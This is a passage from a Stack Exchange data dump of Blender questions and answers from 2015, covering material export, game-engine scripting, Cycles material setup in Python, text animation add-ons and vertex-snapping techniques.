  <row Id="35747" PostTypeId="1" CreationDate="2015-08-14T20:55:33.380" Score="0" ViewCount="833" Body="&lt;p&gt;My .mtl file looks like&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blender MTL File: 'None'&lt;/h1&gt;&#xA;&#xA;&lt;h1&gt;Material Count: 1&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;newmtl Torso1Mtl&#xA;Ns 1000.000000&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.800000 0.000000 0.000000&#xA;Ks 0.200000 0.000000 0.000000&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 2&#xA;map_Kd Torso1Tex.png&#xA;map_Ka Torso1Tex.png&#xA;map_d Torso1Tex.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so when I try to import an .obj file with .mtl file into Roblox Studio and this is the reason the object isn't colored.&lt;/p&gt;&#xA;" OwnerUserId="16418" LastActivityDate="2015-08-14T20:55:33.380" Title="How do I make the .mtl file contain a color for every coordinate" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35748" PostTypeId="2" ParentId="35737" CreationDate="2015-08-14T21:00:01.963" Score="7" Body="&lt;p&gt;Borrowed from iKIsR from &lt;a href=&quot;https://blender.stackexchange.com/a/614/7777&quot;&gt;different question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Linking a material to Data (to mesh specific data) is ideal when you want a mesh to always have the same material, while linking a material to an object is when you want to have different materials on objects that share the same mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Short explanation: If connected to the object, you can have several instances of the same Data using different materials. If linked to mesh data, you can't.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-08-15T05:58:31.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35749" PostTypeId="1" AcceptedAnswerId="35920" CreationDate="2015-08-14T21:39:35.043" Score="0" ViewCount="596" Body="&lt;p&gt;I have this overlay scene &#xA;&lt;a href=&quot;https://i.stack.imgur.com/Kgoix.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kgoix.png&quot; alt=&quot;inventory&quot;&gt;&lt;/a&gt;&#xA;The numbers are all part of the same text with spaces among them. If I don't make them into meshes and run the game, some spaces between them get lost so the numbers are not where they supposed to be(every number in the start of the respective box). If I alt+C and make them into meshes it works. Why does it fail to work if they are part of text?&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-18T05:54:40.327" Title="Text in the overlay scene BGE" Tags="&lt;game-engine&gt;&lt;scene&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35750" PostTypeId="2" ParentId="35578" CreationDate="2015-08-14T22:27:28.043" Score="1" Body="&lt;p&gt;This can be done with a  very simple script. I've been using it out of a question asked earlier, but I can't find it anymore, so kudos for whoever made it. &#xA;Essentially, this script uses a ray of variable length and moves the camera to the position that the ray hits at. Your going to need to add an empty that points toward the place you want the camera to be, and then put your mouse-look logic on the empty, not the player (at least for the up/down axis)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def collision(cont):&#xA;&#xA;    own = cont.owner&#xA;    scene = logic.getCurrentScene()&#xA;    replace = scene.objects['ReplaceEmpty']&#xA;    target = scene.objects['Camera.001']&#xA;    ray = cont.sensors['Ray']&#xA;&#xA;if ray.positive:&#xA;    target.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also, (I'm not a code monkey) you'd probably need something on the end like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;else:&#xA;    target.worldPosition = replace.worldPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then, simple rig that up to a TLT always sensors, and Viola! cam-collision!&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-08-14T22:27:28.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35751" PostTypeId="1" CreationDate="2015-08-14T22:59:26.897" Score="1" ViewCount="58" Body="&lt;p&gt;I'm struggling trying to create a simple button for this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for Nlys in (3,8,11,13,16,5):&#xA;    bpy.context.object.data.layers[Nlys] = True&#xA;&#xA;for Nlys in (0,1,2,4,7,10,14,17,9,12,15,18,6,20,5,19,28):&#xA;    bpy.context.object.data.layers[Nlys] = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Maya I was used to drag an drop the code into a shelf and the button was created automatically. &#xA;Is there a way to to this in Blender?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;a href=&quot;https://blender.stackexchange.com/questions/18951/run-actions-with-a-custom-button&quot;&gt;This&lt;/a&gt; helped me to figure out a solution for this result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ghHob.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ghHob.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-08-15T13:55:08.327" Title="How to create a simple button for a script?" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-15T06:30:31.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="35752" PostTypeId="1" CreationDate="2015-08-14T23:52:22.957" Score="0" ViewCount="20" Body="&lt;p&gt;For some reason, when I go to 'Texture paint' and paint my model, it doesn't keep those changes when I get back to the normal object stuff, and I didn't observe much, but sometimes it even doesn't save my painted texture so I have to start all over again, anyone please help?&lt;/p&gt;&#xA;" OwnerUserId="16418" LastActivityDate="2015-08-14T23:52:22.957" Title="Saving painted version of model" Tags="&lt;texture-painting&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-08-15T06:34:03.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="35755" PostTypeId="1" CreationDate="2015-08-15T01:43:44.933" Score="1" ViewCount="672" Body="&lt;p&gt;Only one sculpting brush shows up on startup.&#xA;How do I get all the ones back that come with Blender?&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f3gye.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3gye.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2016-03-13T03:07:27.843" Title="Only one sculpt brush showing up" Tags="&lt;sculpting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35757" PostTypeId="2" ParentId="35734" CreationDate="2015-08-15T03:04:07.290" Score="3" Body="&lt;p&gt;&lt;strong&gt;Not quite what the OP asked...&lt;/strong&gt;, since in the question the words appear backwards, form end to beginning of the word... (but maybe someone will find it useful...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an &lt;a href=&quot;http://www.pasteall.org/38778/python&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon&lt;/a&gt; to make a typewriter effect quite easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get it here: &lt;a href=&quot;http://urchn.org/post/typewriter-blender-addon&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://urchn.org/post/typewriter-blender-addon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you enable it in the User Preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lA7Fd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lA7Fd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animating the text is quite easy, by changing the value on the character count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TXr06.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TXr06.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the text as it gets written you can get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rne2M.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rne2M.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a proper typewriter effect set your interpolation for all keyframes &lt;strong&gt;Constant&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QaT2X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QaT2X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-08-01T03:37:22.293" LastActivityDate="2016-08-01T03:37:22.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35758" PostTypeId="1" CreationDate="2015-08-15T04:01:44.193" Score="1" ViewCount="30" Body="&lt;p&gt;I am wondering if blender offers a way to list the contact normals available in a scene after rigid body simulation. I assume that blender will use this to calculate friction and was not sure if this can be extracted using scripts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Karthik&lt;/p&gt;&#xA;" OwnerUserId="15189" LastActivityDate="2015-08-15T07:50:48.783" Title="Can we extract contact normals in a scene that undergoes in rigid body simulation?" Tags="&lt;rigid-body-simulation&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35759" PostTypeId="1" AcceptedAnswerId="35766" CreationDate="2015-08-15T04:05:13.540" Score="3" ViewCount="289" Body="&lt;h1&gt;What is this program?&lt;/h1&gt;&#xA;&lt;p&gt;For starters, here's the raw code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#Cycles Mineways setup&#xA;#Version 0.02, 8/13/15&#xA;&#xA;&#xA;#CONSTANTS&#xA;&#xA;#If this is true, the script will request a scene to work with; otherwise, it will use all scenes&#xA;USER_INPUT_SCENE=False&#xA;#Cloud state, either True or False&#xA;CLOUD_STATE=False&#xA;#Changing the number here changes what water shader will be used, 0 to use the normal shader&#xA;WATER_SHADER_TYPE=int(0)&#xA;#Changine the number here changes the type of sky shader used, 0 for no shader&#xA;SKY_SHADER_TYPE=int(0)&#xA;#Time of day&#xA;TIME_OF_DAY=float(12.00)&#xA;&#xA;#List of transparent blocks&#xA;transparentBlocks=[&amp;quot;Acacia/Dark_Oak_Leaves&amp;quot;,&amp;quot;Activator_Rail&amp;quot;,&amp;quot;Bed&amp;quot;,&amp;quot;Brewing_Stand&amp;quot;,&amp;quot;Brown_Mushroom&amp;quot;,&amp;quot;Cactus&amp;quot;,&amp;quot;Carrots&amp;quot;,&amp;quot;Cauldron&amp;quot;,&amp;quot;Cobweb&amp;quot;,&amp;quot;Crops&amp;quot;,&amp;quot;Dandelion&amp;quot;,&amp;quot;Dead_Bush&amp;quot;,&amp;quot;Detector_Rail&amp;quot;,&amp;quot;Enchantment_Table&amp;quot;,&amp;quot;Glass&amp;quot;,&amp;quot;Glass_Pane&amp;quot;,&amp;quot;Grass&amp;quot;,&amp;quot;Iron_Bars&amp;quot;,&amp;quot;Iron_Door&amp;quot;,&amp;quot;Iron_Trapdoor&amp;quot;,&amp;quot;Large_Flower&amp;quot;,&amp;quot;Leaves&amp;quot;,&amp;quot;Lilly_Pad&amp;quot;,&amp;quot;Melon_Stem&amp;quot;,&amp;quot;Monster_Spawner&amp;quot;,&amp;quot;Nether_Wart&amp;quot;,&amp;quot;Poppy&amp;quot;,&amp;quot;Potatoes&amp;quot;,&amp;quot;Pumpkin_Stem&amp;quot;,&amp;quot;Rail&amp;quot;,&amp;quot;Red_Mushroom&amp;quot;,&amp;quot;Redstone_Comparator_(off)&amp;quot;,&amp;quot;Redstone_Torch_(off)&amp;quot;,&amp;quot;Repeater_(off)&amp;quot;,&amp;quot;Sapling&amp;quot;,&amp;quot;Sign_Post&amp;quot;,&amp;quot;Sugar_Cane&amp;quot;,&amp;quot;Tall_Grass&amp;quot;,&amp;quot;Trapdoor&amp;quot;,&amp;quot;Vines&amp;quot;,&amp;quot;Wall_Sign&amp;quot;,&amp;quot;Wooden_Door&amp;quot;]&#xA;#List of light emitting blocks&#xA;lightBlocks=[&amp;quot;End_Portal&amp;quot;,&amp;quot;Fire&amp;quot;,&amp;quot;Redstone_Comparator_(on)&amp;quot;,&amp;quot;Redstone_Lamp_(on)&amp;quot;,&amp;quot;Redstone_Torch_(on)&amp;quot;,&amp;quot;Repeater_(on)&amp;quot;,&amp;quot;Glowstone&amp;quot;,&amp;quot;Stationary_Lava&amp;quot;,&amp;quot;Torch&amp;quot;]&#xA;&#xA;&#xA;#SHADERS&#xA;#Shaders assume that diffuse and output nodes already exist&#xA;&#xA;def Normal_Shader(material):&#xA;    material.use_nodes=True&#xA;    #add an image texture node&#xA;    node_tree=bpy.data.materials[material].node_tree&#xA;    node=node_tree.nodes.new('ShaderNodeTexImage')&#xA;    node.location=(-300,300)&#xA;    &#xA;def Transparent_Shader(material):&#xA;    material.use_nodes=True&#xA;    &#xA;def Light_Emiting_Shader(material):&#xA;    material.use_nodes=True&#xA;&#xA;def Stationary_Water_Shader(material):&#xA;    material.use_nodes=True&#xA;    &#xA;def Flowing_Water_Shader(material):&#xA;    material.use_nodes=True&#xA;    &#xA;def Slime_Shader(material):&#xA;    material.use_nodes=True&#xA;&#xA;def Ice_Shader(material):&#xA;    material.use_nodes=True&#xA;    &#xA;def Stained_Glass_Shader(material):&#xA;    material.use_nodes=True&#xA;    &#xA;def Sky_Shader():&#xA;    pass&#xA;&#xA;def Sun_Shader():&#xA;    pass&#xA;&#xA;&#xA;#MAIN&#xA;&#xA;def main():&#xA;    &#xA;    print(&amp;quot;Started&amp;quot;)&#xA;    &#xA;    &#xA;    #importing the Blender Python library&#xA;    import bpy&#xA;    print(&amp;quot;Libraries imported&amp;quot;)&#xA;    &#xA;    &#xA;    #packing all the files into one .blend &#xA;    bpy.ops.file.pack_all()&#xA;    print(&amp;quot;Files packed&amp;quot;)&#xA;    &#xA;    &#xA;    #Setting the render engine to Cycles&#xA;    if USER_INPUT_SCENE==True:&#xA;        #get the scene to use&#xA;        scene=input(&amp;quot;Please enter the scene you would like to use (default \&amp;quot;Scene\&amp;quot;): &amp;quot;)&#xA;        if scene==&amp;quot;&amp;quot;:&#xA;            scene = &amp;quot;Scene&amp;quot;&#xA;        #Set the render engine to Cycles&#xA;        bpy.data.scenes[scene].render.engine='CYCLES'&#xA;    else:&#xA;        for scene in bpy.data.scenes:&#xA;            scene.render.engine = 'CYCLES'&#xA;    print(&amp;quot;Render engine set to Cycles&amp;quot;)&#xA;            &#xA;    &#xA;    #for every material&#xA;    for material in bpy.data.materials:&#xA;        #to ignore KeyError s&#xA;        try:&#xA;            #print that the material is now being worked on&#xA;            print(&amp;quot;Started &amp;quot;+str(material))&#xA;            #if the material is transparent use a special shader&#xA;            if any(material==bpy.data.materials[transparentBlock] for transparentBlock in transparentBlocks):&#xA;                pass&#xA;            #if the material is a light emmitting block use a special shader&#xA;            elif any(material==bpy.data.materials[lightBlock] for lightBlock in lightBlocks):&#xA;                pass&#xA;            #if the material is stationary water, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Stationary_Water&amp;quot;]:&#xA;                pass&#xA;            #if the material is flowing water, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Flowing_Water&amp;quot;]:&#xA;                pass&#xA;            #if the material is slime, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Slime&amp;quot;]:&#xA;                pass&#xA;            #if the material is ice, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Ice&amp;quot;]:&#xA;                pass&#xA;            #if the material is stained glass, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Stained_Glass&amp;quot;] or material==bpy.data.materials[&amp;quot;Stained_Glass_Pane&amp;quot;]:&#xA;                pass&#xA;            #else use a normal shader&#xA;            else:&#xA;                Normal_Shader(material)&#xA;            #print the material has finished&#xA;            print(&amp;quot;Finished &amp;quot;+str(material))&#xA;        except KeyError:&#xA;            pass&#xA;        &#xA;    #Set up the sky&#xA;    print(&amp;quot;Started shading sky&amp;quot;)&#xA;    Sky_Shader()&#xA;    print(&amp;quot;Sky shaded&amp;quot;)&#xA;    &#xA;    &#xA;    #Set up the sun&#xA;    print(&amp;quot;Started shading sun&amp;quot;)&#xA;    Sun_Shader()&#xA;    print(&amp;quot;Sun shaded&amp;quot;)&#xA;        &#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In effect, this program for Cycles runs through and sets up materials in the scene using nodes–no biggie. It's very simple, and very incomplete–at this stage, it doesn't even really set up the nodes, let alone link them. However, I've encountered a problem I'm not really sure how to fix.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;What's the problem?&lt;/h1&gt;&#xA;&lt;p&gt;We're going to be looking at lines 96-128 in the main.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for material in bpy.data.materials:&#xA;        #to ignore KeyError s&#xA;        try:&#xA;            #print that the material is now being worked on&#xA;            print(&amp;quot;Started &amp;quot;+str(material))&#xA;            #if the material is transparent use a special shader&#xA;            if any(material==bpy.data.materials[transparentBlock] for transparentBlock in transparentBlocks):&#xA;                pass&#xA;            #if the material is a light emmitting block use a special shader&#xA;            elif any(material==bpy.data.materials[lightBlock] for lightBlock in lightBlocks):&#xA;                pass&#xA;            #if the material is stationary water, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Stationary_Water&amp;quot;]:&#xA;                pass&#xA;            #if the material is flowing water, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Flowing_Water&amp;quot;]:&#xA;                pass&#xA;            #if the material is slime, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Slime&amp;quot;]:&#xA;                pass&#xA;            #if the material is ice, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Ice&amp;quot;]:&#xA;                pass&#xA;            #if the material is stained glass, use a special shader&#xA;            elif material==bpy.data.materials[&amp;quot;Stained_Glass&amp;quot;] or material==bpy.data.materials[&amp;quot;Stained_Glass_Pane&amp;quot;]:&#xA;                pass&#xA;            #else use a normal shader&#xA;            else:&#xA;                Normal_Shader(material)&#xA;            #print the material has finished&#xA;            print(&amp;quot;Finished &amp;quot;+str(material))&#xA;        except KeyError:&#xA;            pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This in effect scans to see what shader it should use for the given material it's working on, then executes the respective shader for that material. However, there's a bit of a problem I ran into.&lt;/p&gt;&#xA;&lt;p&gt;Since my program scans to see what material it's working on, because of the way I set it up, has to assume that it exists before it can check to see if it's working on it, it will return KeyErrors commonly since it's often that the material does not exist.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if any(material==bpy.data.materials[transparentBlock] for transparentBlock in transparentBlocks):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this statement, variable material is equal to a material in the scene–take for example, &amp;quot;Dirt&amp;quot;. We want to evaluate if &amp;quot;Dirt&amp;quot; is the list transparentBlock. The first material in this list is &amp;quot;Acacia/Dark_Oak_Leaves&amp;quot;. However, that material doesn't exist in the scene. Therefore, when &lt;code&gt;bpy.data.materials[&amp;quot;Acacia/Dark_Oak_Leaves&amp;quot;]&lt;/code&gt; executes, it doesn't work since it can't pull in data for a material that doesn't exist. Therefore it returns the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;KeyError: 'bpy_prop_collection[key]: key &amp;quot;Acacia/Dark_Oak_Leaves&amp;quot; not found'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My first instinct was to use a try/except to ignore KeyErrors (as can be seen in the code). However, I can't seem to find a placement for the try/except that will work, since the error immediately interrupts the flow of the program instead of just continuing on. Therefore, it can't evaluate &amp;quot;Dirt&amp;quot; against the rest of the materials in transparentBlocks, or for that matter, any of the other conditionals.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Some ideas&lt;/h1&gt;&#xA;&lt;p&gt;I did come up with some ideas for possible solutions–however, all are rather clumsy.&lt;/p&gt;&#xA;&lt;p&gt;The first minor way to help is to put the try/except before each if statement. This solves the problem of it not evaluating the other if statements when a KeyError happens; however, it still cancels that if statement.&lt;/p&gt;&#xA;&lt;p&gt;The first major idea I had would be to scan and see if the materials existed before the if statements; if they didn't, I would simply wipe them from my list (in the case of the transparentBlocks and lightBlocks) or set a variable so as to ignore them later (in the case of each of the if statements). However, this solution is rather clumsy.&lt;/p&gt;&#xA;&lt;p&gt;The second major idea I had was to simply create materials for every block where an if statement would apply, therefore the keyError wouldn't happen. However, this results in the program working a ton extra for no good reason, setting up materials that never get used, and resulting in a ton of excess materials lying around after the fact.&lt;/p&gt;&#xA;&lt;p&gt;In essence, I couldn't find a good solution. Are there any better solutions? Should I use one of mine and deal with the clumsy?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Final Thoughts&lt;/h1&gt;&#xA;&lt;p&gt;I know this question is rather specific, but &lt;a href=&quot;https://blender.meta.stackexchange.com/questions/822/do-questions-about-python-belong-here-if-the-issue-isnt-strictly-with-blender&quot;&gt;I created a Meta post&lt;/a&gt; which seemed to say it would be fine, so I've gone ahead and created this post. If it's not appropriate for this StackExchange, please let me know–also, if you can, please recommend some other places that might be good (StackOverflow? I don't have a lot of experience there, another reason why I'm asking for help).&lt;/p&gt;&#xA;&lt;p&gt;If you'd like to take a closer look, &lt;a href=&quot;https://drive.google.com/file/d/0Bzl8ZZsYnq_XZFh4QzVpYTRRUnM/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here's a link&lt;/a&gt; (can't use Blend-Exchange, it's too big):&lt;/p&gt;&#xA;" OwnerUserId="5661" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-03-17T07:55:51.650" Title="Help with setting up nodes for specific materials in a list" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35761" PostTypeId="2" ParentId="35734" CreationDate="2015-08-15T05:07:46.487" Score="2" Body="&lt;p&gt;There is a typing text addon here: &lt;a href=&quot;https://github.com/meta-androcto/blenderpython/blob/master/scripts/addons_extern/animate_text.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/meta-androcto/blenderpython/blob/master/scripts/addons_extern/animate_text.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used it in a long time, but it still works in 2.75. The addon claims it is under the tool shelf in the 3D view, but the settings are &lt;em&gt;actually&lt;/em&gt; under the text properties. Activate the addon and the new settings will appear at or near the bottom of the text properties. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a video describing basic usage. There's more, but I don't know the addon very well. I don't know how to embed on SE, so I guess a link will suffice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=JrbIHxhNzrY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=JrbIHxhNzrY&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6089" LastEditorUserId="6089" LastEditDate="2015-08-15T21:50:19.933" LastActivityDate="2015-08-15T21:50:19.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35763" PostTypeId="2" ParentId="35193" CreationDate="2015-08-15T06:53:56.723" Score="24" Body="&lt;p&gt;What @Denis suggested is good, I mean, it can be convenient sometimes with the help of view align. Besides, there are also other ways to do so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable &lt;strong&gt;Snap&lt;/strong&gt;, set &lt;em&gt;Snap Element&lt;/em&gt; to &lt;strong&gt;Vertex&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Hold &lt;kbd&gt;Shift&lt;/kbd&gt; and click on Edge Select button.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;Normal&lt;/strong&gt; as the Transform coordinate.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;Active Element&lt;/strong&gt; as the pivot center.&lt;/li&gt;&#xA;&lt;li&gt;First select the vertex you want to move, then the edge that contains any two vertices on the target plane. Then &lt;kbd&gt;R&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt;, then rotate until it snapped on another vertex on the same plane.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dc4q1.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dc4q1.gif&quot; alt=&quot;Method 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Temporarily triangulate the face.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;Active Element&lt;/strong&gt; as the pivot center.&lt;/li&gt;&#xA;&lt;li&gt;Keep the target triangle selected, which is coplanar with that plane, then &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the two triangles, press &lt;kbd&gt;F&lt;/kbd&gt; to convert them back to quad. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vjngn.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vjngn.gif&quot; alt=&quot;Method 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 3&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Snap the vertex that you want to move to counter vertex.&lt;/li&gt;&#xA;&lt;li&gt;Keep it activated, then &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt; to slide it along one edge, press &lt;kbd&gt;C&lt;/kbd&gt; once or holding &lt;kbd&gt;Alt&lt;/kbd&gt; to disable Clamp.&lt;/li&gt;&#xA;&lt;li&gt;Repeat last step on another edge.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HcGOq.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HcGOq.gif&quot; alt=&quot;Method 3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 4&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is sort of similar to Denis's answer, but keeping current point of view unchanged (needed sometimes).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select three vertices, create a new coordinate system based on current selection (or simply press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;Spacebar&lt;/kbd&gt;), and use it as current transform orientation.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;Active Element&lt;/strong&gt; as the pivot center.&lt;/li&gt;&#xA;&lt;li&gt;First select the vertex you want to move, then select any one of the rest vertices, then &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k0kqg.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k0kqg.gif&quot; alt=&quot;Method 4&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 5&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really a 